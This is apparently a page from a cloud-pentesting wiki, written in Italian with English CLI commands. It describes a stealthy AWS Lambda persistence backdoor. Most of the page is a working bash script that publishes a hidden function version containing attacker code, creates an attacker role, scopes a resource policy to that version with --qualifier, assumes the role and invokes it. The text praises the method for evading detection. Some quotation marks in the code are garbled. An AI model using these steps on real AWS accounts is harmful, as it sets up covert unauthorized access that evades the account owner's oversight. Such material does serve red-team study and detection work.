AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)

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Sommario

Crea una hidden Lambda version con la logica dell’attacker e scopa una resource-based policy a quella specifica version (o alias) usando il parametro --qualifier in lambda add-permission. Concedi solo lambda:InvokeFunction su arn:aws:lambda:REGION:ACCT:function:FN:VERSION a un attacker principal. Le invocazioni normali tramite il nome della function o l’alias principale rimangono inalterate, mentre l’attacker può invocare direttamente la backdoored version ARN.

Questo è più stealth rispetto a esporre una Function URL e non modifica l’alias di traffico principale.

Permessi richiesti (attacker)

lambda:UpdateFunctionCode, lambda:UpdateFunctionConfiguration, lambda:PublishVersion, lambda:GetFunctionConfiguration
lambda:AddPermission (to add version-scoped resource policy)
iam:CreateRole, iam:PutRolePolicy, iam:GetRole, sts:AssumeRole (to simulate an attacker principal)

Attack Steps (CLI)

Pubblica hidden version, aggiungi qualifier-scoped permission, invoca come attacker

```bash # Vars REGION=us-east-1 TARGET_FN=

[Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., “main”) stays on a clean version

aws lambda create-alias –function-name “$TARGET_FN” –name main –function-version –region “$REGION”

1) Build a small backdoor handler and publish as a new version

cat > bdoor.py <<PY import json, os, boto3

def lambda_handler(e, c): ident = boto3.client(sts).get_caller_identity() return {“ht”: True, “who”: ident, “env”: {“fn”: os.getenv(AWS_LAMBDA_FUNCTION_NAME)}} PY zip bdoor.zip bdoor.py aws lambda update-function-code –function-name “$TARGET_FN” –zip-file fileb://bdoor.zip –region $REGION aws lambda update-function-configuration –function-name “$TARGET_FN” –handler bdoor.lambda_handler –region $REGION until [ “$(aws lambda get-function-configuration –function-name “$TARGET_FN” –region $REGION –query LastUpdateStatus –output text)“ = “Successful” ]; do sleep 2; done VER=$(aws lambda publish-version –function-name “$TARGET_FN” –region $REGION –query Version –output text) VER_ARN=$(aws lambda get-function –function-name “$TARGET_FN:$VER” –region $REGION –query Configuration.FunctionArn –output text) echo “Published version: $VER ($VER_ARN)”

2) Create an attacker principal and allow only version invocation (same-account simulation)

ATTACK_ROLE_NAME=ht-version-invoker aws iam create-role –role-name $ATTACK_ROLE_NAME –assume-role-policy-document Version:2012-10-17 >/dev/null cat > /tmp/invoke-policy.json <<POL { “Version”: “2012-10-17”, “Statement”: [{ “Effect”: “Allow”, “Action”: [“lambda:InvokeFunction”], “Resource”: [“$VER_ARN”] }] } POL aws iam put-role-policy –role-name $ATTACK_ROLE_NAME –policy-name ht-invoke-version –policy-document file:///tmp/invoke-policy.json

Add resource-based policy scoped to the version (Qualifier)

aws lambda add-permission
–function-name “$TARGET_FN”
–qualifier “$VER”
–statement-id ht-version-backdoor
–action lambda:InvokeFunction
–principal arn:aws:iam::$(aws sts get-caller-identity –query Account –output text):role/$ATTACK_ROLE_NAME
–region $REGION

3) Assume the attacker role and invoke only the qualified version

ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity –query Account –output text):role/$ATTACK_ROLE_NAME CREDS=$(aws sts assume-role –role-arn “$ATTACK_ROLE_ARN” –role-session-name htInvoke –query Credentials –output json) export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId) export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey) export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken) aws lambda invoke –function-name “$VER_ARN” /tmp/ver-out.json –region $REGION >/dev/null cat /tmp/ver-out.json

4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role

aws lambda remove-permission –function-name “$TARGET_FN” –statement-id ht-version-backdoor –qualifier “$VER” –region $REGION || true

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## Impatto

- Concede una backdoor stealthy per invocare una versione nascosta della funzione senza modificare l'alias principale né esporre una Function URL.
- Limita l'esposizione alla sola version/alias specificata tramite la resource-based policy `Qualifier`, riducendo la superficie di rilevamento pur mantenendo un'invocazione affidabile per l'attacker principal.

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